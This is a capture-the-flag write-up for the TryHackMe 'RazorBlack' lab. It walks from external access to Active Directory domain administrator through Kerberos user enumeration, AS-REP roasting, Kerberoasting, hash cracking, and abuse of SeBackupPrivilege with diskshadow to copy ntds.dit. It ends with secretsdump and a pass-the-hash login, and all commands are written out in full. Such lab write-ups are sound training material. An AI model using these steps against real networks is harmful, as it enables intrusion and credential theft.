RazorBlack

https://tryhackme.com/room/raz0rblack

This write up does not cover individual flags for the room. This write up is treated as a boot to root from external to domain administrator access.

Nmap

sudo nmap 10.10.150.205 -p- -sS -sV

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-08-13 10:02:50Z)
111/tcp   open  rpcbind       2-4 (RPC #100000)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: raz0rblack.thm, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
2049/tcp  open  mountd        1-3 (RPC #100005)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: raz0rblack.thm, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49672/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49673/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  msrpc         Microsoft Windows RPC
49693/tcp open  msrpc         Microsoft Windows RPC
49707/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: HAVEN-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Kerberos user enumeration

Hitting kerberos first we perform user enumeration making use of kerbrute.

kerbrute userenum '/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt' --dc '10.10.35.255' --domain 'raz0rblack.thm'

After a short while we obtain a couple of usernames.

No Pre-Authentication

With a coupe of known usernames we run them with Impacket's GetNPUsers.py . The user twilliams we find has No Pre-Authentication enabled in Active Directory.

GetNPUsers.py 'raz0rblack.thm'/'twilliams': -request -dc-ip '10.10.146.253' -format 'john' -no-pass

As such, we are able to pull the krb5asrep hash from the user account which can next be used against John for cracking.

Hash Cracking #1

A few minutes of cracking against the rockyou.txt word list we soon reveal the plain text password.

sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash

Service Prinicpal Names

With a set of valid credentials we find we are unable to proceed with SMB. Using the same credentials to check for Service Principla Names using Impacket's GetUserSPNs.py we are able to pull a hash for the user xyan1d3.

GetUserSPNs.py raz0rblack.thm/twilliams:'<Password>' -dc-ip '10.10.146.253' -request

Hash Cracking #2

Taking the krb5tgs hash we are able to again crack with John and the rockyou.txt list.

WinRM

With another valid set of credentials we find we are able to login via WinRM for remote access using Evil-WinRM.

evil-winrm -i '10.10.35.255' -u 'xyan1d3' -p '<Password>'

SeBackupPrivilege

Performing basic enumeration steps we find our current user is a member of the "Backup Operators" group and have privileges for SeBackupPrivilege.

Fusion Corp

This privilege grants us the ability to create backups of files on the system. Knowing this, a high value file would be the ntds.dit file which is a database of hashes for domain objects / users. As the ntds.dit file is in constant use we will be unable to create a backup using normal methods as the system will lock the file.

What we can do instead is create a Distributed Shell File (DSH). This file will contain the appropriate commands for us to run the diskshadow utility against the C: drive and ultimately the ntds.dit file.

First created a file called viper.dsh on the attacking machine. Then insert the following contents:

set context persistent nowriters
add volume c: alias viper
create
expose %viper% x:

Once completed use the command unix2dos to convert the file to DOS format.

unix2dos viper.dsh

Then on the target system create a directory called 'temp' in c:\temp. After this upload the viper.dsh file.

Then execute diskshadow against the file.

diskshadow /s viper.dsh

After creating the shadow copy we can then use robocopy to copy the ntds database to our current working directory.

robocopy /b x:\windows\ntds . ntds.dit

From here we need to extract the SYSTEM hive which will be required for extracting the hashes with Impacket later.

reg save hklm\system c:\Temp\system

After the registry hives have been saved we can download to our attacking machine.

download ntds.dit
download system

Back on the attacking machine use the following command with Impacket's secretsdump.py to extract the hashes from ntds.dit.

secretsdump.py -ntds ntds.dit -system system local

WinRM (Administrator)

With the Administrators hash we can utilize Evil-WinRm again to login as the Domain Administrator.

evil-winrm -i '10.10.95.150' -u 'administrator' -H '<Hash>'